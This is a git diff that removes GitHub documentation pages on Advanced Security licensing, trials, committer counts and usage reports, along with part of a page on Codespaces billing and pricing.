GitHub Advanced Security -intro: 'You can view and manage your use of seats on a license for {% data variables.product.prodname_GH_advanced_security %}.' -product: '{% data reusables.gated-features.ghas-ghec %}' -redirect_from: - - /billing/managing-licensing-for-github-advanced-security - - /github/setting-up-and-managing-billing-and-payments-on-github/managing-licensing-for-github-advanced-security - - /billing/managing-billing-for-github-advanced-security -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /setting-up-a-trial-of-github-advanced-security - - /about-billing-for-github-advanced-security - - /signing-up-for-github-advanced-security - - /viewing-committer-information-for-github-advanced-security - - /managing-your-github-advanced-security-licensing - - /viewing-your-github-advanced-security-usage - ---- diff --git a/content/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/managing-your-github-advanced-security-licensing.md b/content/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/managing-your-github-advanced-security-licensing.md deleted file mode 100644 index c512b2a6b744..000000000000 --- a/content/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/managing-your-github-advanced-security-licensing.md +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: Managing your GitHub Advanced Security licensing -intro: 'You can add or remove {% data variables.product.prodname_GH_advanced_security %} licenses for your enterprise.' -permissions: 'Enterprise owners can manage licensing for {% data variables.product.prodname_GH_advanced_security %}.' -product: '{% data reusables.gated-features.ghas-ghec %}' -versions: - ghec: '*' -type: how_to -redirect_from: - - /billing/managing-billing-for-github-advanced-security/managing-your-github-advanced-security-licensing -topics: - - Advanced Security - - Enterprise -shortTitle: Manage Advanced Security licensing ---- -## About licensing for {% data variables.product.prodname_GH_advanced_security %} - -Each license for {% data variables.product.prodname_GH_advanced_security %} specifies a maximum number of accounts that can use these features. Each active committer to at least one repository with the feature enabled uses one license. A committer is considered active if one of their commits has been pushed to the repository within the last 90 days, regardless of when it was originally authored. For more information about committer numbers, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security). For information about purchasing a license, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/signing-up-for-github-advanced-security). - -{% data reusables.advanced-security.ghas-products-tip %} - -## Managing the number of committers in your subscription - -{% ifversion security-configurations %} - -{% data reusables.security-configurations.managing-GHAS-licenses %} - -{% endif %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.license-tab %} -1. Under "{% data variables.product.prodname_GH_advanced_security %}", click **Committers**. - - ![Screenshot of the {% data variables.product.prodname_GH_advanced_security %} licensing screen. The "Committers" dropdown is highlighted with an orange line.](/assets/images/help/enterprises/ghas-committers-dropdown.png) -1. Under "Committers", click **Manage committers**. -1. Under "Total committers", click the plus or minus buttons to add or remove committers. - - ![Screenshot of the {% data variables.product.prodname_GH_advanced_security %} committers screen. A text box with the number 5, with a minus and a plus button, are outlined in orange.](/assets/images/help/enterprises/ghas-add-committers.png) -1. Click **Update committers**. - -## Canceling your {% data variables.product.prodname_GH_advanced_security %} subscription - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.license-tab %} -1. To the right of "{% data variables.product.prodname_GH_advanced_security %}", click **Manage**, then click **Cancel Subscription**. - - ![Screenshot of the "Manage" dropdown in the {% data variables.product.prodname_GH_advanced_security %} licensing screen. The "Cancel Subscription" button is outlined in orange.](/assets/images/help/enterprises/ghas-cancel-subscription.png) -1. To confirm your cancellation, click **I understand, cancel Advanced Security**. diff --git a/content/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/setting-up-a-trial-of-github-advanced-security.md b/content/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/setting-up-a-trial-of-github-advanced-security.md deleted file mode 100644 index e9f1529d4657..000000000000 --- a/content/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/setting-up-a-trial-of-github-advanced-security.md +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: Setting up a trial of GitHub Advanced Security -intro: 'You can try {% data variables.product.prodname_GH_advanced_security %} for free.' -product: '{% data reusables.gated-features.ghas-ghec %}' -versions: - ghec: '*' -type: how_to -redirect_from: - - /billing/managing-billing-for-github-advanced-security/setting-up-a-trial-of-github-advanced-security -topics: - - Advanced Security - - Enterprise -shortTitle: Set up an Advanced Security trial ---- - -{% ifversion metered-ghe-ghas %} - -{% data reusables.billing.ghas-metered-billing-note-with-link %} - -{% endif %} - -## About {% data variables.product.prodname_GH_advanced_security %} - -{% data variables.product.prodname_GH_advanced_security %} provides features that help you improve and maintain the security and quality of code, such as {% data variables.product.prodname_code_scanning %}, {% data variables.product.prodname_secret_scanning %}, and dependency review. For more information, see [AUTOTITLE](/get-started/learning-about-github/about-github-advanced-security). - -{% data reusables.advanced-security.ghas-products-tip %} - -## About trials of {% data variables.product.prodname_GH_advanced_security %} - -There are a few ways to trial {% data variables.product.prodname_GH_advanced_security %}: - -* If you are **an existing {% data variables.product.prodname_ghe_cloud %} customer** paying by credit card or PayPal, and you have not yet purchased {% data variables.product.prodname_GH_advanced_security %} or participated in a trial, you can start a trial of {% data variables.product.prodname_GH_advanced_security %} at any time. For more information, see [Setting up your trial of {% data variables.product.prodname_GH_advanced_security %}](#setting-up-your-trial-of-github-advanced-security). -* If you are **a new {% data variables.product.prodname_ghe_cloud %} customer**, you can start a trial of {% data variables.product.prodname_ghe_cloud %}, which includes {% data variables.product.prodname_GH_advanced_security %}. For more information, see [AUTOTITLE](/enterprise-cloud@latest/admin/overview/setting-up-a-trial-of-github-enterprise-cloud). -* If you **pay by invoice**, contact {% data variables.contact.contact_enterprise_sales %} to discuss trialing {% data variables.product.prodname_GH_advanced_security %} for your enterprise. - -During a trial of {% data variables.product.prodname_GH_advanced_security %} in a {% data variables.product.prodname_ghe_cloud %} account with a paid subscription, you can add any number of committers and enable {% data variables.product.prodname_GH_advanced_security %} for any number of organizations. During a trial of {% data variables.product.prodname_ghe_cloud %}, you can enable {% data variables.product.prodname_GH_advanced_security %} for your whole enterprise. - -## Prerequisites - -To set up a trial of {% data variables.product.prodname_GH_advanced_security %}, you must be an owner of an enterprise account. For more information, see [AUTOTITLE](/admin/overview/about-enterprise-accounts) and [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-owners). - -## Setting up your trial of {% data variables.product.prodname_GH_advanced_security %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.license-tab %} -1. To the right of "{% data variables.product.prodname_GH_advanced_security %}", click **Start free trial**. -1. Click **Start trial**. - -## Finishing your trial - -You can finish your trial at any time by purchasing {% data variables.product.prodname_GH_advanced_security %}. If you haven't purchased {% data variables.product.prodname_GH_advanced_security %} by the end of the 30 days, your trial will expire. - -{% ifversion metered-ghe-ghas %} - -If you pay for {% data variables.product.prodname_ghe_cloud %} with usage-based billing, but did not set up a free trial of {% data variables.product.prodname_GH_advanced_security %}, you can still use usage-based billing to pay for {% data variables.product.prodname_GH_advanced_security %} after the {% data variables.product.prodname_ghe_cloud %} trial ends. For more information, contact [{% data variables.product.prodname_dotcom %}'s Sales team](https://enterprise.github.com/contact). - -{% endif %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.license-tab %} -1. To the right of "{% data variables.product.prodname_GH_advanced_security %} trial", select the **Manage** dropdown menu and click **Purchase**. -{% data reusables.advanced-security.purchase-ghas %} - -## Further reading - -* [AUTOTITLE](/get-started/learning-about-github/about-github-advanced-security) -* [AUTOTITLE](/code-security/adopting-github-advanced-security-at-scale) -* [AUTOTITLE](/code-security/securing-your-organization/introduction-to-securing-your-organization-at-scale/about-enabling-security-features-at-scale) diff --git a/content/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/signing-up-for-github-advanced-security.md b/content/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/signing-up-for-github-advanced-security.md deleted file mode 100644 index cf64b88941cd..000000000000 --- a/content/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/signing-up-for-github-advanced-security.md +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: Signing up for GitHub Advanced Security -intro: "You can sign up for {% data variables.product.prodname_GH_advanced_security %} from your enterprise account's settings to take advantage of extra security features that {% data variables.product.prodname_dotcom %} makes available to customers under a {% data variables.product.prodname_GH_advanced_security %} license." -permissions: 'Enterprise owners can sign up for {% data variables.product.prodname_GH_advanced_security %}.' -product: '{% data reusables.gated-features.ghas-ghec %}' -versions: - ghec: '*' -type: how_to -redirect_from: - - /billing/managing-billing-for-github-advanced-security/signing-up-for-github-advanced-security -topics: - - Advanced Security - - Enterprise -shortTitle: Sign up for Advanced Security ---- -{% ifversion metered-ghe-ghas %} - -{% data reusables.billing.ghas-metered-billing-note-with-link %} - -{% endif %} - -## Purchasing {% data variables.product.prodname_GH_advanced_security %} - -{% data reusables.advanced-security.ghas-products-tip %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.license-tab %} -1. To the right of "GitHub Advanced Security", click **Buy Advanced Security**. - - ![Screenshot of the {% data variables.product.prodname_GH_advanced_security %} section of the enterprise licensing screen. The "Buy Advanced Security" button is outlined in orange.](/assets/images/help/enterprises/ghas-buy-advanced-security-button.png) - -{% data reusables.advanced-security.purchase-ghas %} - -## Further reading - -* [Introduction to adopting {% data variables.product.prodname_GH_advanced_security %} at scale](/code-security/adopting-github-advanced-security-at-scale/introduction-to-adopting-github-advanced-security-at-scale) -* [AUTOTITLE](/code-security/securing-your-organization/introduction-to-securing-your-organization-at-scale/about-enabling-security-features-at-scale) diff --git a/content/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/viewing-committer-information-for-github-advanced-security.md b/content/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/viewing-committer-information-for-github-advanced-security.md deleted file mode 100644 index 1b23d97549a3..000000000000 --- a/content/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/viewing-committer-information-for-github-advanced-security.md +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Viewing committer information for GitHub Advanced Security -intro: 'You can view information about the {% data variables.product.prodname_GH_advanced_security %} committers for your enterprise and calculate the cost for additional committers with the site admin dashboard.' -permissions: 'Site administrators can view committer information for {% data variables.product.prodname_GH_advanced_security %}.' -product: '{% data reusables.gated-features.ghas-ghec %}' -versions: - ghes: '*' -type: how_to -redirect_from: - - /billing/managing-billing-for-github-advanced-security/viewing-committer-information-for-github-advanced-security -topics: - - Advanced Security - - Enterprise -shortTitle: View Advanced Security committers ---- - -## About the "Advanced Security Committers" dashboard - -You can estimate the number of licenses your enterprise might need for {% data variables.product.prodname_GH_advanced_security %} with the "Advanced Security Committers" section of the site admin dashboard. - -If you currently use {% data variables.product.prodname_GH_advanced_security %}, this tool helps you understand how many committers are currently using licenses. It also helps you estimate how many additional licenses would be used if you enable {% data variables.product.prodname_GH_advanced_security %} for more organizations and repositories. - -If you're considering using {% data variables.product.prodname_GH_advanced_security %}, you can use this tool to estimate potential costs to enable {% data variables.product.prodname_GH_advanced_security %}. - -For more information about billing for {% data variables.product.prodname_advanced_security %}, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security). - -## Viewing committer information - -1. In the upper-right corner of any page, click {% octicon "rocket" aria-label="Site admin" %}. -1. In the left sidebar, click **Advanced Security Committers**. -1. To the right of "Current active committer count", view the number of active committers for repositories with {% data variables.product.prodname_GH_advanced_security %} enabled. This is the number of licenses that are currently being used. -1. To the right of "Total billable committers if GHAS is enabled for all repositories", you can see the number of active committers across all the repositories in your enterprise. This is the number of licenses that would be used if you enabled {% data variables.product.prodname_GH_advanced_security %} for every repository in your enterprise. - -## Calculating the cost to add committers - -Under "Calculate Additional Advanced Committers", you can calculate how many more new or additional licenses will be used if you enable {% data variables.product.prodname_GH_advanced_security %} for specific organizations and repositories. - -1. In the upper-right corner of any page, click {% octicon "rocket" aria-label="Site admin" %}. -1. In the left sidebar, click **Advanced Security Committers**. -1. Under "Organizations and Repositories", enter or paste a list of organizations and repositories, with one organization or repository per line. For example: - - ```text - example-org - octo-org/octo-repo - ``` - -1. Click **Recalculate**. diff --git a/content/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage.md b/content/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage.md deleted file mode 100644 index 5e4b33bc9ee4..000000000000 --- a/content/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage.md +++ /dev/null @@ -1,166 +0,0 @@ ---- -title: Viewing your GitHub Advanced Security usage -intro: 'You can view usage of {% data variables.product.prodname_GH_advanced_security %} for your enterprise.' -permissions: 'Enterprise owners can view usage for {% data variables.product.prodname_GH_advanced_security %}.' -product: '{% data reusables.gated-features.ghas-ghec %}' -redirect_from: - - /billing/managing-licensing-for-github-advanced-security/viewing-your-github-advanced-security-usage - - /admin/advanced-security/viewing-your-github-advanced-security-usage - - /github/setting-up-and-managing-billing-and-payments-on-github/managing-licensing-for-github-advanced-security/viewing-your-github-advanced-security-usage - - /github/setting-up-and-managing-your-enterprise/managing-use-of-advanced-security-for-organizations-in-your-enterprise-account - - /github/setting-up-and-managing-billing-and-payments-on-github/viewing-your-github-advanced-security-usage - - /billing/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage -versions: - ghes: '*' - ghec: '*' -type: how_to -topics: - - Advanced Security - - Enterprise -shortTitle: View Advanced Security usage ---- - -{% ifversion enhanced-billing-platform %} - -{% data reusables.billing.enhanced-billing-platform-licenses %} - -{% endif %} - -## About licenses for {% data variables.product.prodname_GH_advanced_security %} - -Each license for {% data variables.product.prodname_GH_advanced_security %} specifies a maximum number of licenses that can use these features. Periodically you should check that your use is within your license capacity. For more information, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security). - -{% ifversion ghas-committers-calculator %} -You can estimate the number of licenses your enterprise would need to purchase {% data variables.product.prodname_GH_advanced_security %} or to enable {% data variables.product.prodname_GH_advanced_security %} for additional organizations and repositories. For more information, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/viewing-committer-information-for-github-advanced-security). -{% endif %} - -{% ifversion security-configurations %} - -{% data reusables.security-configurations.managing-GHAS-licenses %} - -{% endif %} - -## Viewing {% data variables.product.prodname_GH_advanced_security %} license usage for your enterprise account - -You can view the enterprise account's current license limits and usage. - -{% ifversion ghec %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.license-tab %} - The "{% data variables.product.prodname_GH_advanced_security %}" section shows details of the current usage. - - If you run out of licenses, the section will be red and show "Limit exceeded." You should either reduce your use of {% data variables.product.prodname_GH_advanced_security %} or purchase more licenses. For more information, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security#getting-the-most-out-of-github-advanced-security) and [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/managing-your-github-advanced-security-licensing). - -{% ifversion security-configurations %} - {% data reusables.security-configurations.managing-GHAS-licenses %} -{% endif %} - -{% elsif ghes %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.license-tab %} - The "{% data variables.product.prodname_GH_advanced_security %}" section shows details of the current usage. You can see the total number of licenses used, as well as a table with the number of committers and unique committers for each organization. - -{% endif %} -{%- ifversion ghec -%} -1. Optionally, to see a detailed breakdown of usage per organization{% ifversion secret-scanning-user-owned-repos %} and user namespace when using {% data variables.product.prodname_emus %}{% endif %}, click {% octicon "credit-card" aria-hidden="true" %} **Billing & Licensing**. - - In the “{% data variables.product.prodname_GH_advanced_security %}” section, you can see a summary of your current license usage, as well as the number of committers and unique committers for each organization{% ifversion secret-scanning-user-owned-repos %} and user namespace when using {% data variables.product.prodname_emus %}{% endif %}. The organizations{% ifversion secret-scanning-user-owned-repos %} and user namespaces{% endif %} in the billing table are sorted by the highest number of unique committers in descending order. -{% endif %} -1. Optionally, display the security and analysis settings for an organization. - * Click the name of the organization. - -{% ifversion ghec %} - * On the "{% data variables.product.UI_advanced_security_ent %}" settings page, scroll to the "{% data variables.product.prodname_GH_advanced_security %} repositories" section to see an overview of your organization's license usage, as well as a detailed breakdown of usage by repository for this organization. - - For more information, see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization). - -{% else %} - * On the "Security & analysis" settings page, scroll to the "{% data variables.product.prodname_GH_advanced_security %} repositories" section to see a detailed breakdown of usage by repository for this organization. - - For more information, see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization). - -{% ifversion security-configurations %} - -{% data reusables.security-configurations.managing-GHAS-licenses %} - -{% endif %} -{% endif %} - -## Downloading {% data variables.product.prodname_GH_advanced_security %} license usage information - -You can download a CSV file with {% data variables.product.prodname_GH_advanced_security %} license usage information at both the enterprise and organization levels. The CSV file contains information about each {% data variables.product.prodname_advanced_security %} license that is in use, including: - -* The username of the person using the license -* The {% data variables.product.prodname_advanced_security %}-enabled repositories where commits were made -* The organizations{% ifversion secret-scanning-user-owned-repos %}{% ifversion ghec %} and user namespaces for {% data variables.product.prodname_emus %}{% endif %}{% endif %} that people using licenses belong to -* The most recent commit dates and associated email addresses - -You can use this information for insights into your {% data variables.product.prodname_advanced_security %} usage, such as which members of your enterprise are using an {% data variables.product.prodname_advanced_security %} license or how {% data variables.product.prodname_advanced_security %} licenses are being consumed across your organizations. - -You can download the {% data variables.product.prodname_advanced_security %} license usage CSV through the {% data variables.product.github %} user interface or the REST API. - -### Downloading {% data variables.product.prodname_advanced_security %} license usage information through the UI - -{% ifversion ghec %} - -#### At the repository-level - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -1. In the "Security" section of the sidebar, select the {% data variables.product.UI_advanced_security %} dropdown menu, then click **{% data variables.product.prodname_global_settings_caps %}**. -1. In the "{% data variables.product.prodname_GH_advanced_security %} repositories" section, next to the repository you want usage information for, select {% octicon "kebab-horizontal" aria-label="GHAS repository actions" %}, then click **Download CSV report**. - - ![Screenshot of the committers by repository table. The horizontal kebab icon and "Download CSV report" button are highlighted with an orange outline.](/assets/images/help/billing/ghas-billing-table-repository-csv.png) - -{% endif %} - -{% ifversion ghec %} - -#### At the organization-level - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.billing_plans %} -1. Underneath "{% data variables.product.prodname_GH_advanced_security %}," next to "Committers", click **{% octicon "download" aria-hidden="true" %} CSV report**. -{% endif %} - -{% ifversion ghec %} - -#### At the enterprise-level - -{% endif %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.license-tab %} - -{%- ifversion ghec %} -1. Under "{% data variables.product.prodname_GH_advanced_security %}," click the **Manage** dropdown and then click **Download report**. - - ![Screenshot of the "Manage" dropdown in the {% data variables.product.prodname_GH_advanced_security %} licensing screen. The "Download Report" button is outlined in orange.](/assets/images/help/enterprises/ghas-download-report.png) - -{%- elsif ghes %} -1. Under "{% data variables.product.prodname_GH_advanced_security %}," click **{% octicon "download" aria-hidden="true" %} CSV report** in the header of the "Committers" table. - - ![Screenshot of the {% data variables.product.prodname_GH_advanced_security %} licensing screen. The "CSV Report" button is highlighted with an orange outline.](/assets/images/enterprise/ghas/download-csv-report-ghes-3.9.png) - -{%- else %} -1. Under "{% data variables.product.prodname_GH_advanced_security %}," {% octicon "download" aria-label="The download icon" %} in the header of the "Committers" table. - -{%- endif %} - -### Downloading {% data variables.product.prodname_advanced_security %} license usage information through the REST API - -You can retrieve {% data variables.product.prodname_advanced_security %} usage information via the billing API. - -{% ifversion ghec %} - -For organization-level data, use the `/orgs/{org}/settings/billing/advanced-security` endpoint. For more information, see [AUTOTITLE](/rest/billing/billing#get-github-advanced-security-active-committers-for-an-organization). - -{% endif %} - -For enterprise-level data, use the `/enterprises/{enterprise}/settings/billing/advanced-security` endpoint. For more information, see [AUTOTITLE](/rest/enterprise-admin#get-github-advanced-security-active-committers-for-an-enterprise) in the {% data variables.product.prodname_dotcom %} REST API documentation. diff --git a/content/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/about-billing-for-github-codespaces.md b/content/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/about-billing-for-github-codespaces.md deleted file mode 100644 index 3e54dfc34325..000000000000 --- a/content/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/about-billing-for-github-codespaces.md +++ /dev/null @@ -1,268 +0,0 @@ ---- -title: About billing for GitHub Codespaces -shortTitle: About billing -intro: 'Learn about the costs for using {% data variables.product.prodname_github_codespaces %}, and the monthly usage quotas included with {% data variables.product.prodname_dotcom %} personal accounts.' -versions: - fpt: '*' - ghec: '*' -type: overview -topics: - - Codespaces - - Billing -redirect_from: - - /billing/managing-billing-for-github-codespaces/about-billing-for-codespaces - - /github/developing-online-with-codespaces/about-billing-for-codespaces - - /codespaces/getting-started-with-codespaces/about-billing-for-codespaces - - /codespaces/codespaces-reference/about-billing-for-codespaces - - /codespaces/codespaces-reference/understanding-billing-for-codespaces - - /codespaces/codespaces-reference/understanding-billing-for-github-codespaces.md - - /billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces ---- - -{% data reusables.billing.enhanced-billing-platform %} - -## About {% data variables.product.prodname_github_codespaces %} pricing - -{% ifversion billing-auth-and-capture %} -{% data reusables.billing.authorization-charge %} -{% endif %} - -{% data reusables.codespaces.codespaces-free-for-personal-intro %} - -Organizations can choose whether codespaces created from their repositories will be user-owned or organization-owned. See [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/choosing-who-owns-and-pays-for-codespaces-in-your-organization). An organization pays for a codespace if all the following things are true. - -* The organization has chosen for codespaces to be organization-owned. -{% data reusables.codespaces.when-an-org-pays %} - -For more information about enabling {% data variables.product.prodname_github_codespaces %} for users, see [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/enabling-or-disabling-github-codespaces-for-your-organization). - -Otherwise use of {% data variables.product.prodname_github_codespaces %} applies to the personal account of the person who created the codespace, and either consumes some of the monthly included usage for their personal account, or their account is billed according to their usage in excess of their included quotas. - -The Free, Team, and Enterprise plans for organization and enterprise accounts do not include any free use of {% data variables.product.prodname_github_codespaces %}. - -{% ifversion ghec %} -{% data reusables.codespaces.codespaces-unavailable-for-emus %} -{% endif %} - -{% ifversion fpt %} - -## Monthly included storage and core hours for personal accounts - -The following storage and core hours of usage are included, free of charge, for personal accounts: - -| Account plan | Storage per month | Core hours per month | -| ------------ | ----------------- | -------------------- | -| {% data variables.product.prodname_dotcom %} Free for personal accounts | 15 GB-month | 120 | -| {% data variables.product.prodname_dotcom %} Pro | 20 GB-month | 180 | - -### Understanding GB-months and core hours - -The included usage for personal accounts is measured in GB-months and core hours. - -#### GB-month - -The GB-month unit of storage is a time-based measurement, 1 GB-month being 1 GB of storage usage for one whole month. The disk space used by all of your codespaces and prebuilds is assessed once an hour and your current GB-month usage is recalculated. Therefore, while you have codespaces and prebuilds, your GB-month usage will increase throughout the month. For example, if the storage totals 15 GB, and remains unchanged throughout your monthly billing cycle, then you will have used 7.5 GB halfway through the month, and 15 GB at the end of the month. See [About billing for storage usage](#about-billing-for-storage-usage) later in this article. - -#### Core hour - -A "core hour" is a measure used for included compute usage. To calculate core hours, multiply the number of hours for which a codespace has been active by the multiplier in the pricing table later in this article. For the basic machine types, the multiplier is the number of processor cores in the machine that hosts the codespace. For example: - -* A 2-core machine used for 1 hour equals 2 core hours -* An 8-core machine used for 1 hour equals 8 core hours -* An 8-core machine used for 2 hours equals 16 core hours - -### Using your included usage - -You will be notified by email when you have used 75%, 90%, and 100% of your included quotas. Notifications are also displayed in a "toast" message within {% data variables.product.prodname_vscode_shortname %} and the {% data variables.product.prodname_vscode_shortname %} web client. You can turn off email notifications if required. See [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces#managing-usage-and-spending-limit-email-notifications). - -When a personal account has used all of either the included storage or compute usage (whichever is reached first), and has no spending limit configured, use of {% data variables.product.prodname_github_codespaces %} will be blocked. You must set up a payment method and a spending limit to continue using {% data variables.product.prodname_github_codespaces %} during the current billing month. At the beginning of the next monthly billing cycle the included usage is reset. Storage will not be billed while use of {% data variables.product.prodname_github_codespaces %} is blocked. - -You can view details of your usage for the current month at any time. See [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage). - -If you are blocked from resuming a codespace and you want to continue to work on changes you have made in your codespace, you can do any of the following: - -* Add a payment method and a spending limit greater than $0 USD. -* Export the changes from the codespace to a branch. See [AUTOTITLE](/codespaces/troubleshooting/exporting-changes-to-a-branch). -* Wait for your monthly included usage to reset at the start of the next monthly billing cycle. - -If you have used all of either your included storage usage or your included compute usage, and you have set up a payment method and a spending limit, any further use of codespaces owned by your personal account will incur charges for whichever type of usage has no remaining included quota. You will not be charged for the other type of usage until you have also used all of its included quota. - -{% data reusables.codespaces.tips-included-usage %} - -{% endif %} - -## Pricing for paid usage - -A {% data variables.product.prodname_github_codespaces %} instance (a "codespace") incurs charges for compute time, while it is active, and for the amount of disk space the codespace occupies, while it exists. The compute cost is proportional to the number of processor cores in the machine type you choose for your codespace, as shown in the following table. For example, the compute cost of using a codespace for an hour on a 16-core machine is eight times greater than a 2-core machine. - -| Component | Machine type | Unit of measure | Included usage multiplier | Price | -| ------------------- | ------------ | --------------- | ------------------------- | ----- | -| Codespaces compute | 2 core | 1 hour | 2 | $0.18 | -| Codespaces compute | 4 core | 1 hour | 4 | $0.36 | -| Codespaces compute | 8 core | 1 hour | 8 | $0.72 | -| Codespaces compute | 16 core | 1 hour | 16 | $1.44 | -| Codespaces compute | 32 core | 1 hour | 32 | $2.88 | -| Codespaces storage | Storage | 1 GB-month | Not applicable | $0.07 | - -For more information about the GB-month unit of measure, see [About billing for storage usage](#about-billing-for-storage-usage). - -If you enable prebuilding of codespaces this will incur additional charges. See [About billing for {% data variables.product.prodname_codespaces %} prebuilds](#about-billing-for-codespaces-prebuilds). - -## About your bill for {% data variables.product.prodname_github_codespaces %} - -{% data variables.product.prodname_github_codespaces %} is billed in US dollars (USD) according to the amount of compute time and storage space your codespaces use. {% data reusables.codespaces.codespaces-monthly-billing %} - -Billing for {% data variables.product.prodname_github_codespaces %} shares your account's existing payment method, and receipt. See [AUTOTITLE](/billing/managing-your-github-billing-settings/viewing-your-subscriptions-and-billing-date). - -If you are an organization owner{% ifversion ghec %} or enterprise owner{% endif %}, you can connect an Azure Subscription ID to your organization {% ifversion ghec %}or enterprise{% endif %} account to enable and pay for {% data variables.product.prodname_github_codespaces %} usage. See [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/connecting-an-azure-subscription). - -## About billing for compute usage - -The compute usage of a codespace is the length of time for which that codespace is active multiplied by the multiplier in the pricing table for the machine type of the codespace. Total compute usage is calculated by summing the time used by all codespaces billable to a particular account. These totals are reported to the billing service every hour, and are billed monthly. - -As an example, if a codespace is active for 1 hour and 15 minutes, then the compute cost will be the hourly cost of the codespace, as determined by its machine type, multiplied by 1.25. - -You can control compute usage by stopping your codespaces. For information, see [AUTOTITLE](/codespaces/developing-in-codespaces/stopping-and-starting-a-codespace). Codespaces are stopped automatically after a configurable period of inactivity. The timeout period can be configured by the user, or at the organization level. See [AUTOTITLE](/codespaces/setting-your-user-preferences/setting-your-timeout-period-for-github-codespaces) and [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period). - -## About billing for storage usage - -For {% data variables.product.prodname_github_codespaces %} billing purposes, storage comprises the disk space used by all of the codespaces and prebuilds in your account. This includes any files you use in a codespace, such as cloned repositories, configuration files, data loaded to the codespace (for example as input or output of the software running in the repository), and extensions, among others. Storage is billed for all of your existing codespaces, regardless of whether they are active or inactive with the exception of blocked usage due to exhausted included usage quota or reaching your spending limit. The storage billing for a codespace ends when it is deleted. However, deleting a codespace does not reduce your used storage amount for the current billing month as this is a cumulative figure. - -### Storage billing for containers based on the default image - -When you use the default dev container configuration, your container is built from the default Linux image for codespaces. See [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers#using-the-default-dev-container-configuration). - -Containers based on the default image are not counted as used storage, even if you add features in your dev container configuration. See [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/configuring-dev-containers/adding-features-to-a-devcontainer-file). - -If you use the default image, the storage usage for your codespace will be based on the files in your repository, and any files you subsequently add to the codespace. If you use an alternative base image, then the resulting container and all of the files in the codespace will be counted as used storage. - -{% data reusables.codespaces.check-for-default-image %} - -### Reporting storage usage - -Codespace storage is reported in GB-months. Your billing month runs from a fixed day in one month until the same day in the next month. In most cases the day of the month is determined by the day you started on your current {% data variables.product.prodname_dotcom %} plan. Your GB-month storage is calculated as follows. Once every hour, the storage used by all of your currently active and stopped codespaces is assessed. This figure is then divided by the number of hours in the current billing month: `total storage size / hours this month`. The result is added to the running total for codespace storage for the month. - -For example, if you have one codespace that uses 100 GB of storage and has existed for one hour you will have used `100 / (24 * 30) = 0.1388` GB-months of storage in a 30-day month. If your use of {% data 